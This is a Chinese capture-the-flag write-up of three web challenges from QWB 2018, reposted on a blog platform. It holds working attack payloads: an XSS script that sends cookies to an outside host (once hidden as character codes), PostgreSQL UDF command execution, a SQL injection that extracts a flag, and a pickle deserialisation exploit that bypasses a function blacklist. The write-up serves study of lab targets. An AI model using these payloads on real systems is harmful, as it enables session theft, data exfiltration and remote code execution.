前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >强网杯2018 Web writeup

强网杯2018 Web writeup

作者头像
LoRexxar
发布2023-02-21 19:51:22
2540
发布2023-02-21 19:51:22
举报
文章被收录于专栏:LoRexxar's BlogLoRexxar's Blog

现在人老了,不仅ctf不想打了,写wp也想偷点懒,下面的writeup就从简完成了,如果有问题可以直接问我。

Web

share your mind

一道挺迷的xss题目,开始做题的时候拐入了一个神奇的非预期。

基础的思路挺明确的,首先需要找个以当前域下的self-xss,然后发送给管理员,bot访问然后进一步…

首先就需要找到一个xss点,由于写文章的点经过html过滤,尖括号被转义了,再加上第一个提示说后台bot使用了phjs做浏览器,所以提出了一个想法,phjs有什么和普通浏览器不同的点,然后就被带入歧途了。

在盲测payload的时候,这样的一个payload收到了返回

代码语言:javascript
复制
http://39.107.33.96:20000"><img src="http://xxxxx.xx">

这里没有任何过滤,但是构造js探测后台的时候发现,后台没有任何cookie,甚至没登陆,不能阅读任何东西,无奈之下问了管理员,答复是非预期,有解…

实话说我还是第一次遇到非预期无解的情况,仔细想了一下,可能是因为这个漏洞是bot问题,猜测可能是控制phjs的脚本是通过第三方获取提交链接的,导致拼接的时候未处理出现问题…所以添加cookie和登陆操作在这之后,所以这里的xss点没有用。

抛开这个思路不谈,这里回到题目,知道是非预期,所以思路就想着在站内找一个self-xss。

突然发现站内引用了形似../static/jquery.js的js,然后站内使用路由表来解析对应的方法,那么RPO的利用条件成立。

ps:RPO相关的知识在34c3的wp和pwnhub大物必须死都提到过,这里就不细谈了。

当我们访问

代码语言:javascript
复制
http://39.107.33.96:20000/index.php/view/article/28477/..%2f..%2f..%2f..%2findex.php/add

页面内请求的js链接会为http://39.107.33.96:20000/index.php/view/article/28477/static/jquery.js,返回内容为文章内容,js就会执行。

直接打cookie,获得提示HINT=Try to get the cookie of path \"/QWB_fl4g/QWB/\

这个简单,打子域的cookie即可,就是去年的国赛的思路

代码语言:javascript
复制
var i=document.createElement("iframe");
i.src="/QWB_fl4g/QWB/";
i.id="a";
document.body.appendChild(i);
i.onload = function (){
  	var c=document.getElementById('a').contentWindow.document.cookie;
	location.href="http://xxxxx?xx="+c;
}

不知道为什么一直不执行,各种改也没用,后来改用documen.write写入就好了

代码语言:javascript
复制
document.write(String.fromCharCode(60,115,99,114,105,112,116,62,10,118,97,114,32,105,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,105,102,114,97,109,101,34,41,59,10,105,46,115,114,99,61,34,47,81,87,66,95,102,108,52,103,47,81,87,66,47,34,59,10,105,46,105,100,61,34,97,34,59,10,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,105,41,59,10,105,46,111,110,108,111,97,100,32,61,32,102,117,110,99,116,105,111,110,32,40,41,123,10,32,32,9,118,97,114,32,99,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,97,39,41,46,99,111,110,116,101,110,116,87,105,110,100,111,119,46,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59,10,9,108,111,99,97,116,105,111,110,46,104,114,101,102,61,34,104,116,116,112,58,47,47,49,49,53,46,50,56,46,55,56,46,49,54,63,120,120,61,34,43,99,59,10,125,10,60,47,115,99,114,105,112,116,62))

成功打到flag

彩蛋

挺迷的一题的,因为java出不了什么漏洞,所以题意就比较明显了,就是用低版本的组件本身的漏洞导致的。

首先拿到项目代码https://github.com/zjlywjh001/PhrackCTF-Platform-Team

仔细研究其组件版本 https://github.com/zjlywjh001/PhrackCTF-Platform-Team/blob/master/pom.xml

发现其中shiro版本为1.2.4,shiro的1.2.4版本存在一个RCE漏洞。

首先找到cookie加密密钥phrackctfDE!~#$d (cGhyYWNrY3RmREUhfiMkZA==)

用seebug上的poc生成测试cookie,无论在ysoserial上用各种版本的commoncollections都没办法利用,实在不懂java,再加上本地环境不完整,所以就想不到什么办法了。

后来再看别的wp得知,实际上在构造反序列化的gadgets时,不能用commoncollections,只能用JRMPclient。有待进一步研究

在想办法的时候,无意中用nmap扫描服务器,发现惊喜

代码语言:javascript
复制
root@iZ285ei82c1Z:~# nmap -Pn -sT 106.75.97.46

Starting Nmap 6.40 ( http://nmap.org ) at 2018-03-25 14:09 CST
Nmap scan report for 106.75.97.46
Host is up (0.020s latency).
Not shown: 983 closed ports
PORT     STATE    SERVICE
22/tcp   open     ssh
42/tcp   filtered nameserver
135/tcp  filtered msrpc
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
593/tcp  filtered http-rpc-epmap
1027/tcp filtered IIS
1028/tcp filtered unknown
1068/tcp filtered instl_bootc
3128/tcp filtered squid-http
4444/tcp filtered krb524
5432/tcp open     postgresql
5800/tcp filtered vnc-http
5900/tcp filtered vnc
6669/tcp filtered irc
8009/tcp open     ajp13
8080/tcp open     http-proxy

5432开放了postgresql端口,尝试未授权果然成功连上了,翻了翻,因为权限设置问题,没办法列目录,只能读文件。但不知道文件名,所以尝试用udf执行命令。

研究了一下没找到9.6版本的udf,但在数据库当前目录下,有别人写的udf,成功执行命令,拿到flag

代码语言:javascript
复制
CREATE OR REPLACE FUNCTION sys_eval()  RETURNS text AS  './udf.so' LANGUAGE C STRICT;
select sys_eval('cat /flag_is_here');

python is best language

这是一个flask的代码审计题目,分1&2两个漏洞,第一个漏洞还算是比较清楚,注入漏洞。让我们来看看代码。

others.py里的数据库操作完全没有任何过滤,而且直接将输入拼接进入sql语句,也就是说,如果数据没经过处理,就会产生注入

代码语言:javascript
复制
class Mysql_Operate():
    def __init__(self, Base, engine, dbsession):
        self.db_session = dbsession()
        self.Base = Base
        self.engine = engine

    def Add(self, tablename, values):
        sql = "insert into " + tablename + " "
        sql += "values ("
        sql += "".join(i + "," for i in values)[:-1]
        sql += ")"
        try:
            self.db_session.execute(sql)
            self.db_session.commit()
            return 1
        except:
            return 0

    def Del(self, tablename, where):
        sql = "delete from " + tablename + " "
        sql += "where " + \
            "".join(i + "=" + str(where[i]) + " and " for i in where)[:-4]
        try:
            self.db_session.execute(sql)
            self.db_session.commit()
            return 1
        except:
            return 0

    def Mod(self, tablemame, where, values):
        sql = "update " + tablemame + " "
        sql += "set " + \
            "".join(i + "=" + str(values[i]) + "," for i in values)[:-1] + " "
        sql += "where " + \
            "".join(i + "=" + str(where[i]) + " and " for i in where)[:-4]
        try:
            self.db_session.execute(sql)
            self.db_session.commit()
            return 1
        except:
            return 0

    def Sel(self, tablename, where={}, feildname=["*"], order="", where_symbols="=", l="and"):
        sql = "select "
        sql += "".join(i + "," for i in feildname)[:-1] + " "
        sql += "from " + tablename + " "
        if where != {}:
            sql += "where " + "".join(i + " " + where_symbols + " " +
                                      str(where[i]) + " " + l + " " for i in where)[:-4]
        if order != "":
            sql += "order by " + "".join(i + "," for i in order)[:-1]
        return sql

    def All(self, tablename, where={}, feildname=["*"], order="", where_symbols="=", l="and"):
        sql = self.Sel(tablename, where, feildname, order, where_symbols, l)
        try:
            res = self.db_session.execute(sql).fetchall()
            if res == None:
                return []
            return res
        except:
            return -1

    def One(self, tablename, where={}, feildname=["*"], order="", where_symbols="=", l="and"):
        sql = self.Sel(tablename, where, feildname, order, where_symbols, l)
        try:
            res = self.db_session.execute(sql).fetchone()
            if res == None:
                return 0
            return res
        except:
            return -1

比如编辑个人信息,就没有任何处理就进入mysq操作类。

代码语言:javascript
复制
form = EditProfileForm(current_user.username)
if form.validate_on_submit():
    current_user.username = form.username.data
    current_user.note = form.note.data
    res = mysql.Mod("user", {"id": current_user.id}, {
                    "username": "'%s'" % current_user.username, "note": "'%s'" % current_user.note})

但在forms.py里对表单有验证,例如上面的编辑个人资料,在form验证就会被拦截

代码语言:javascript
复制
def validate_note(self, note):
    if re.match("^[a-zA-Z0-9_\'\(\) \.\_\*\`\-\@\=\+\>\<]*$", note.data) == None:
        raise ValidationError("Don't input invalid charactors!")

但有一个特例,就是PostForm,这个表单没有任何验证

代码语言:javascript
复制
class PostForm(FlaskForm):
    post = StringField('Say something', validators=[DataRequired()])
    submit = SubmitField('Submit')

注入成立了,而且还是显注,唯一的问题是这里是所有人都可以看到的,所以在注入时候需要想一些办法

代码语言:javascript
复制
name:12333 
id:10

database:flask
table: flaaaaag,followers,post,user
columns: flllllag

encode加密flag 
asdf','10','2018-03-24'),(NULL,hex(encode((select flllllag from flaaaaag),'qwertyuiokmnnnhgbv')),'10','2018-03-24')#
decode解密
select decode(unhex('6201D0BB2543B2DE415C367C7DE295C4777C8E541D4FC9B2E1DA6209AB'),'qwertyuiokmnnnhgbv');

第二步是flask的session反序列化漏洞,python会反序列化用户的session,问题在于不知道如何控制session,赛后讨论的时候发现…明明有注入为什么不用注入来写呢。

上面的注入可以通过执行多条语句向文件中写入内容。

然后python的session文件和php一样,在/tmp/ffff/md5(bdwsessions+user),通过mysql into outfile可以写文件到这里控制有效的。

分享一些相关的文章 https://www.leavesongs.com/PENETRATION/client-session-security.html

http://mp.weixin.qq.com/s/xEBr7JxbSTt11oiBsgc3uw

https://github.com/bl4de/ctf/blob/master/2016/HackIM_2016/Unicle_Web200/Unicle_Web200_writeup.md

然后代码中还有一些黑名单机制

代码语言:javascript
复制
black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,spawnv, spawnve, spawnvp, spawnvpe, load, loads]

其中限制了很多关键字,但subprocess.Popen没有被限制,所以就可以随意执行命令

代码语言:javascript
复制
#!/usr/bin/env python
#coding: utf-8
__author__ = 'bit4'
import cPickle
import os
import subprocess
class Exploit(object):
    def __reduce__(self):
        return (subprocess.Popen, (('xx','/tmp/xxxx',),))

shellcode  = cPickle.dumps(Exploit())
print '0x' + shellcode .encode('hex')

成功getshell

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018/03/26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Web
    • share your mind
      • 彩蛋
        • python is best language
        相关产品与服务
        代码审计
        代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档